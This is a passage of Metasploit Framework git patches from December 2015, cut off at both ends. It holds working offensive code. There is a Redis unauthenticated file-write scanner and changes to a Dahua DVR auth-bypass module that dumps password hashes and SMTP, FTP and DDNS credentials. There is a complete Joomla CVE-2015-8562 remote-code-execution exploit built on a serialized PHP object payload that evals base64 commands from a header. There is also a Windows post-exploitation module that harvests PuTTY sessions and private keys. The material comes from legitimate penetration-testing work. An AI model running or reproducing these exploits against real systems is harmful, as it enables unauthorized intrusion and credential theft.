OptString.new('AUTH_KEY', [false, 'Password for redis authentication', 'foobared']) - ], self.class) - - register_advanced_options( - [ - OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) - ], self.class) - end - - def peer - "#{rhost}:#{rport}" - end - - def read_timeout - datastore['READ_TIMEOUT'] - end - - def redis_proto(parts) - return if parts.blank? - command = "*#{parts.length}\r\n" - parts.each do |p| - command << "$#{p.length}\r\n#{p}\r\n" - end - command - end - - def redis_auth?(password) - data = send_command(['AUTH', "#{password}"]) - if data && data.include?('+OK') - true - else - false - end - end - - def send_command(command) - sock.put("#{redis_proto(command)}") - data = sock.get_once(-1, read_timeout) - vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump}") - data - end - - def send_file(path, content) - key = Rex::Text.rand_text_alpha(32) - commands = [ - ['CONFIG', 'SET', 'DIR', "#{File.dirname(path)}"], - ['CONFIG', 'SET', 'dbfilename', "#{File.basename(path)}"], - ['SET', "#{key}", "#{content}"], - ['SAVE'], - ['DEL', "#{key}"] - ] - - results = [] - commands.each do |command| - results << send_command(command) - end - - return unless results[3] && results[3].include?('+OK') - print_good("#{peer} - write data to redis server #{path}") - report_note( - type: 'redis_unauth_file_upload', - host: rhost, - port: rport, - proto: 'tcp', - data: "write data to redis server #{path}" - ) - end - - def run_host(ip) - begin - connect - res = send_command(['PING']) - unless res - print_status("#{peer} - No response") - return - end - - case res - when /PONG/ - print_status("#{peer} - No authentication protection") - content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" - send_file(datastore['RemoteFile'], content) - when /NOAUTH Authentication required/ - print_status("#{peer} - Trying to auth redis server") - return unless redis_auth?(datastore['AUTH_KEY']) - content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" - send_file(datastore['RemoteFile'], content) - else - print_status("#{peer} - #{res}") - end - - rescue ::Exception => e - print_error("#{e}") - ensure - disconnect - end - end -end From e448bc3e27e00edd13ef15b67b4ce55c7c2d8103 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 14 Dec 2015 10:47:05 -0800 Subject: [PATCH 1595/2172] If saving fails, print_error and mention permissions --- modules/auxiliary/scanner/redis/file_upload.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index 4ff8c7cd85..bfac68137b 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -76,8 +76,12 @@ class Metasploit3 < Msf::Auxiliary data = redis_command('SET', key, content) return unless data.include?('+OK') data = redis_command('SAVE') - return unless data.include?('+OK') - print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}") + if data.include?('+OK') + print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}") + else + print_error("#{peer} -- failed to save #{content.size} bytes to #{path} (permissions?)") + return + end # cleanup # XXX: ensure that these get sent if we prematurely return if a previous command fails From ee208570a272566e252ef11ad96db9bda382eea6 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 14 Dec 2015 13:22:38 -0600 Subject: [PATCH 1596/2172] remove bundler 1.10 fingerprint from Gemfile.lock --- Gemfile.lock | 3 --- 1 file changed, 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 079dcbdc59..3ce22521ae 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -246,6 +246,3 @@ DEPENDENCIES simplecov timecop yard - -BUNDLED WITH - 1.10.6 From eccf61bec5dbcb94c248ff0485b8a7fb9c03864e Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 14 Dec 2015 14:29:25 -0600 Subject: [PATCH 1597/2172] ensure that the metasploit database environment variable is unset --- spec/lib/metasploit/framework/database_spec.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/database_spec.rb b/spec/lib/metasploit/framework/database_spec.rb index 3abdf6dcca..d57b44fb91 100644 --- a/spec/lib/metasploit/framework/database_spec.rb +++ b/spec/lib/metasploit/framework/database_spec.rb @@ -619,6 +619,10 @@ RSpec.describe Metasploit::Framework::Database do end context 'without MSF_DATABASE_CONFIG' do + before(:each) do + ENV.delete('MSF_DATABASE_CONFIG') + end + it { is_expected.to be_nil } end end @@ -667,4 +671,4 @@ RSpec.describe Metasploit::Framework::Database do expect(user_configurations_pathname).to eq(Pathname.new(config_root).join('database.yml')) end end -end \ No newline at end of file +end From bda6c940cf15ee6187eaa463be8c60d6c71c2981 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Mon, 14 Dec 2015 16:23:18 -0500 Subject: [PATCH 1598/2172] fixed issues with printing of tables and cleaned up output a bit removed unecessary prints --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 22 ++++++------------- 1 file changed, 7 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 9407ae0473..b1626d8aff 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -187,8 +187,8 @@ class Metasploit3 < Msf::Auxiliary disconnect channels_table = Rex::Ui::Text::Table.new( 'Header' => 'Dahua Camera Channels', - 'Indent' => '1', - 'Columns' => ['Number', 'Channels'] + 'Indent' => 1, + 'Columns' => ['ID', 'Channels'] ) return unless data.length > 1 print_good("#{peer} -- camera channels:") @@ -208,20 +208,13 @@ class Metasploit3 < Msf::Auxiliary usercount = 0 users_table = Rex::Ui::Text::Table.new( 'Header' => 'Dahua Users Hashes and Rights', - 'Indent' => '1', + 'Indent' => 1, 'Columns' => ['Username', 'Password Hash', 'Permissions', 'Description'] ) - print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 user, md5hash, rights, name = val.match(/^.*:(.*):(.*):.*:(.*):(.*):.*$/).captures users_table << [user, md5hash, rights, name] - # puts user.class - # puts md5hash.class - # puts rights.class - # puts name.class - # users_table.print - print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") # Write the dahua hash to the database hash = "#{rhost} #{user}:$dahua$#{md5hash}" report_hash(rhost, rport, user, hash) @@ -236,6 +229,7 @@ class Metasploit3 < Msf::Auxiliary refs: references ) end + users_table.print end def grab_groups @@ -245,18 +239,16 @@ class Metasploit3 < Msf::Auxiliary data = response.split('&&') groups_table = Rex::Ui::Text::Table.new( 'Header' => 'Dahua groups', - 'Indent' => '1', - 'Columns' => ['Number', 'Group'] + 'Indent' => 1, + 'Columns' => ['ID', 'Group'] ) print_good("#{peer} -- groups:") data.each do |val| number = "#{val[/(([\d]+))/]}" groups = "#{val[/(([a-z]+))/]}" - # puts number.class - # puts groups.class groups_table << [ number, groups ] - groups_table.print end + groups_table.print end def reset_user From ab3fe64b6ea4d7439da5a0723728ad3aca213b94 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 15 Dec 2015 01:18:27 -0600 Subject: [PATCH 1599/2172] Add method peer for jenkins_java_deserialize.rb --- modules/exploits/linux/misc/jenkins_java_deserialize.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index c7eec77106..96a79dce1d 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -54,6 +54,10 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + def peer + "#{rhost}:#{rport}" + end + def exploit unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...") From 84d5067abed9f44833696be30a3ac1c9e356e486 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 15 Dec 2015 17:20:49 +0100 Subject: [PATCH 1600/2172] add joomla RCE module --- .../multi/http/joomla_user_agent_rce.rb | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 modules/exploits/multi/http/joomla_user_agent_rce.rb diff --git a/modules/exploits/multi/http/joomla_user_agent_rce.rb b/modules/exploits/multi/http/joomla_user_agent_rce.rb new file mode 100644 index 0000000000..6d621faf21 --- /dev/null +++ b/modules/exploits/multi/http/joomla_user_agent_rce.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', + 'Description' => %q{ + Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. + By storing user supplied headers in the databases session table it's possible to truncate the input + by sending an UTF-8 character. The custom created payload is then executed once the session is read + from the databse + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-8562'], + ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], + ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], + ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Joomla', {}]], + 'DisclosureDate' => 'Dec 14 2015', + 'DefaultTarget' => 0) + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), + OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) + ], self.class) + end + + def get_payload + pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" + middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' + pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;" + middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' + post = "\xF0\x9D\x8C\x86" + return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" + end + + def exploit + print_status("Sending payload ...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.to_s, + 'headers' => { datastore['HEADER'] => get_payload } + }) + session_cookie = res.get_cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.to_s, + 'cookie' => session_cookie, + 'headers' => { + 'CMD' => Rex::Text.encode_base64(payload.encoded) + } + }) + end +end From e4309790f5d047bbc4aa4e7ba759f9ab88b5fb85 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 15 Dec 2015 17:37:45 +0100 Subject: [PATCH 1601/2172] renamed module because X-FORWARDED-FOR header is also working --- .../http/{joomla_user_agent_rce.rb => joomla_http_header_rce.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/multi/http/{joomla_user_agent_rce.rb => joomla_http_header_rce.rb} (100%) diff --git a/modules/exploits/multi/http/joomla_user_agent_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb similarity index 100% rename from modules/exploits/multi/http/joomla_user_agent_rce.rb rename to modules/exploits/multi/http/joomla_http_header_rce.rb From b9b280954bc45f659c1fad10efed982fee3ca098 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 15 Dec 2015 11:03:36 -0600 Subject: [PATCH 1602/2172] Add a check for joomla --- .../multi/http/joomla_http_header_rce.rb | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 6d621faf21..9881b5945e 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -49,6 +49,39 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + def check + res = send_request_cgi({'uri' => target_uri.path }) + + unless res + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown + end + + unless res.headers['X-Powered-By'] + vprint_error("Unable to determine the PHP version.") + return Exploit::CheckCode::Unknown + end + + php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' + vprint_status("Found PHP version: #{php_version}") + + if php_version > '5.3' + vprint_error('This module currently does not work against this PHP version') + return Exploit::CheckCode::Safe + end + + res.get_html_meta_elements.each do |element| + if element.attributes['name'] && + /^generator$/i === element.attributes['name'] && + element.attributes['content'] && + /joomla/i === element.attributes['content'].value + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Safe + end + def get_payload pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' @@ -58,7 +91,20 @@ class Metasploit3 < Msf::Exploit::Remote return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" end + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + def exploit + if check == Exploit::CheckCode::Safe + print_error('Target seems safe, so we will not continue.') + return + end + print_status("Sending payload ...") res = send_request_cgi({ 'method' => 'GET', From c60343022887fd9a5e2447bc6d84be0284af2cda Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 15 Dec 2015 18:26:21 +0100 Subject: [PATCH 1603/2172] fix version check --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9881b5945e..3e94000d64 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") - if php_version > '5.3' + if php_version >= '5.4' vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end From 4a66b487dec5baea3fbc9dd6329611d07f8b4c24 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 21:28:13 +0000 Subject: [PATCH 1604/2172] Based on putty enum module --- modules/post/windows/gather/ntds_location.rb | 271 +++++++++++++++++++ 1 file changed, 271 insertions(+) create mode 100644 modules/post/windows/gather/ntds_location.rb diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb new file mode 100644 index 0000000000..39cd06c36c --- /dev/null +++ b/modules/post/windows/gather/ntds_location.rb @@ -0,0 +1,271 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + NTDS_REGISTRY_KEY = "HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters" + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment'] + + def initialize(info = {}) + super(update_info(info, + 'Name' => "NTDS.DIT Location Module", + 'Description' => %q{ + This module will search the registry to identify the location of the NTDS.DIT file and directory. + It is useful when looking to manually retrieve this file from a domain controller. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'] + )) + end + + def get_saved_session_details(sessions) + all_sessions = [] + sessions.each do |ses| + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) + end + all_sessions + end + + def display_saved_sessions_report(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Saved Sessions", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name'].append(INTERESTING_KEYS).flatten + ) + + info.each do |result| + row = [] + row << result['Name'] + INTERESTING_KEYS.each do |key| + row << result[key] + end + results_table << row + end + + print_line + print_line results_table.to_s + stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + end + + def display_private_key_analysis(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Private Keys", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS + ) + + info.each do |result| + row = [] + PUTTY_PRIVATE_KEY_ANALYSIS.each do |key| + row << result[key] + end + results_table << row + end + + print_line + print_line results_table.to_s + # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + end + + def get_stored_host_key_details(allkeys) + # This hash will store (as the key) host:port pairs. This is basically a quick way of + # getting a unique list of host:port pairs. + all_ssh_host_keys = {} + + # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. + rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i + + # Go through each of the stored keys found in the registry + allkeys.each do |key| + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s + } + + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + if split_hostporttype + + # Extract the host, port and key type into the hash + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] + + # Form the key + host_port = "#{newkey['host']}:#{newkey['port']}" + + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] + end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) + end + all_ssh_host_keys + end + + def display_stored_host_keys_report(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Stored SSH host key fingerprints", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['SSH Endpoint', 'Key Type(s)'] + ) + + info.each do |key, result| + row = [] + row << key + row << result.join(', ') + results_table << row + end + + print_line + print_line results_table.to_s + stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List") + print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).") + end + + def grab_private_keys(sessions) + private_key_summary = [] + sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? + + # Check whether the file exists. + if file?(filename) + ppk = read_file(filename) + if ppk # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + + # Now analyse the private key + private_key = {} + private_key['Name'] = ses['Name'] + private_key['UserName'] = ses['UserName'] + private_key['HostName'] = ses['HostName'] + private_key['PublicKeyFile'] = ses['PublicKeyFile'] + private_key['Type'] = '' + private_key['Cipher'] = '' + private_key['Comment'] = '' + + # Get type of key + if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ + # This is an SSH1 header + private_key['Type'] = 'ssh1' + private_key['Comment'] = '-' + if ppk[33] == "\x00" + private_key['Cipher'] = 'none' + elsif ppk[33] == "\x03" + private_key['Cipher'] = '3DES' + else + private_key['Cipher'] = '(Unrecognised)' + end + elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s) + # This is an SSH2 header + private_key['Type'] = "ssh2 (#{rx[:keytype]})" + if rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) + private_key['Cipher'] = rx[:cipher] + else + private_key['Cipher'] = '(Unrecognised)' + end + + if rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s) + private_key['Comment'] = rx[:comment] + end + end + private_key_summary << private_key + else + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc + end + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + end + end + private_key_summary + end + + # Entry point + def run + # Look for saved sessions, break out if not. + print_status("Looking for saved PuTTY sessions") + saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") + if saved_sessions.nil? || saved_sessions.empty? + print_error('No saved sessions found') + else + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + private_key_info = grab_private_keys(all_saved_sessions) + if !private_key_info.nil? && !private_key_info.empty? + print_line + display_private_key_analysis(private_key_info) + end + end + + print_line # Just for readability + + # Now search for SSH stored keys. These could be useful because it shows hosts that the user + # has previously connected to and accepted a key from. + print_status("Looking for previously stored SSH host key fingerprints") + stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys") + if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? + print_error('No stored SSH host keys found') + else + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}") + + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + if all_stored_keys.nil? || all_stored_keys.empty? + print_error("No stored key fingerprints found") + else + display_stored_host_keys_report(all_stored_keys) + end + end + + print_line # Just for readability + + print_status("Looking for Pageant...") + hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") + if hwnd['return'] + print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})") + else + print_error("Pageant is not running") + end + end +end From 797bd9e04d694b03ef55a402f5844e7728b2ca7c Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 15 Dec 2015 16:31:25 -0500 Subject: [PATCH 1605/2172] added peer to each table and added each users groups to the users table --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 43 +++++++++---------- 1 file changed, 20 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index b1626d8aff..a044e6c11c 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -113,12 +113,12 @@ class Metasploit3 < Msf::Auxiliary print_status(" Destination Email: #{data[1]}") unless data[1].blank? mailserver = "#{mailhost[0]}" mailport = "#{mailhost[1]}" + muser = "#{data[5]}" + mpass = "#{data[6]}" end - return unless data[5].blank? && data[6].blank? + return if muser.blank? && mpass.blank? print_good(" SMTP User: #{data[5]}") print_good(" SMTP Password: #{data[6]}") - muser = "#{data[5]}" - mpass = "#{data[6]}" return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank? report_email_creds(mailserver, mailport, muser, mpass) end @@ -136,13 +136,13 @@ class Metasploit3 < Msf::Auxiliary data.each_with_index do |val, index| next if index == 0 val = val.split("&&") - ddns_service = "#{val[0]}" - ddns_server = "#{val[1]}" - ddns_port = "#{val[2]}" - ddns_domain = "#{val[3]}" - ddns_user = "#{val[4]}" - ddns_pass = "#{val[5]}" - ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}", "#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"] + ddns_service = val[0] + ddns_server = val[1] + ddns_port = val[2] + ddns_domain = val[3] + ddns_user = val[4] + ddns_pass = val[5] + ddns_table << [ ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ] unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? ddns_table.print report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) @@ -165,8 +165,8 @@ class Metasploit3 < Msf::Auxiliary ftpuser.strip! ftppass.strip! unless ftpuser.blank? || ftppass.blank? - print_good(" Nas Server: #{server}") - print_good(" Nas Port: #{port}") + print_good(" NAS Server: #{server}") + print_good(" NAS Port: #{port}") print_good(" FTP User: #{ftpuser}") print_good(" FTP Pass: #{ftppass}") report_creds( @@ -175,7 +175,7 @@ class Metasploit3 < Msf::Auxiliary user: ftpuser, pass: ftppass, type: "FTP", - active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? + active: true) end end end @@ -184,18 +184,16 @@ class Metasploit3 < Msf::Auxiliary connect sock.put(CHANNELS) data = sock.get_once.split('&&') - disconnect channels_table = Rex::Ui::Text::Table.new( 'Header' => 'Dahua Camera Channels', 'Indent' => 1, - 'Columns' => ['ID', 'Channels'] + 'Columns' => ['ID', 'Peer', 'Channels'] ) return unless data.length > 1 - print_good("#{peer} -- camera channels:") data.each_with_index do |val, index| number = index.to_s channels = val[/([[:print:]]+)/] - channels_table << [ "#{number}", "#{channels}" ] + channels_table << [ number, peer, channels ] end channels_table.print end @@ -209,12 +207,12 @@ class Metasploit3 < Msf::Auxiliary users_table = Rex::Ui::Text::Table.new( 'Header' => 'Dahua Users Hashes and Rights', 'Indent' => 1, - 'Columns' => ['Username', 'Password Hash', 'Permissions', 'Description'] + 'Columns' => ['Username', 'Password Hash', 'Groups', 'Permissions', 'Description'] ) data.each do |val| usercount += 1 - user, md5hash, rights, name = val.match(/^.*:(.*):(.*):.*:(.*):(.*):.*$/).captures - users_table << [user, md5hash, rights, name] + user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures + users_table << [user, md5hash, groups, rights, name] # Write the dahua hash to the database hash = "#{rhost} #{user}:$dahua$#{md5hash}" report_hash(rhost, rport, user, hash) @@ -240,13 +238,12 @@ class Metasploit3 < Msf::Auxiliary groups_table = Rex::Ui::Text::Table.new( 'Header' => 'Dahua groups', 'Indent' => 1, - 'Columns' => ['ID', 'Group'] + 'Columns' => ['ID', 'Peer', 'Group'] ) - print_good("#{peer} -- groups:") data.each do |val| number = "#{val[/(([\d]+))/]}" groups = "#{val[/(([a-z]+))/]}" - groups_table << [ number, groups ] + groups_table << [ number, peer, groups ] end groups_table.print end From 059de62400d8fdc760dd0b89d960df37ea749274 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Tue, 15 Dec 2015 21:36:39 +0000 Subject: [PATCH 1606/2172] Editing an existing module rather than adding a new one --- .../gather/credentials/domain_hashdump.rb | 5 + modules/post/windows/gather/ntds_location.rb | 271 ------------------ 2 files changed, 5 insertions(+), 271 deletions(-) delete mode 100644 modules/post/windows/gather/ntds_location.rb diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index a90b6d3ac1..fc1ac23b61 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -80,6 +80,11 @@ class Metasploit3 < Msf::Post @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory") end + def check + 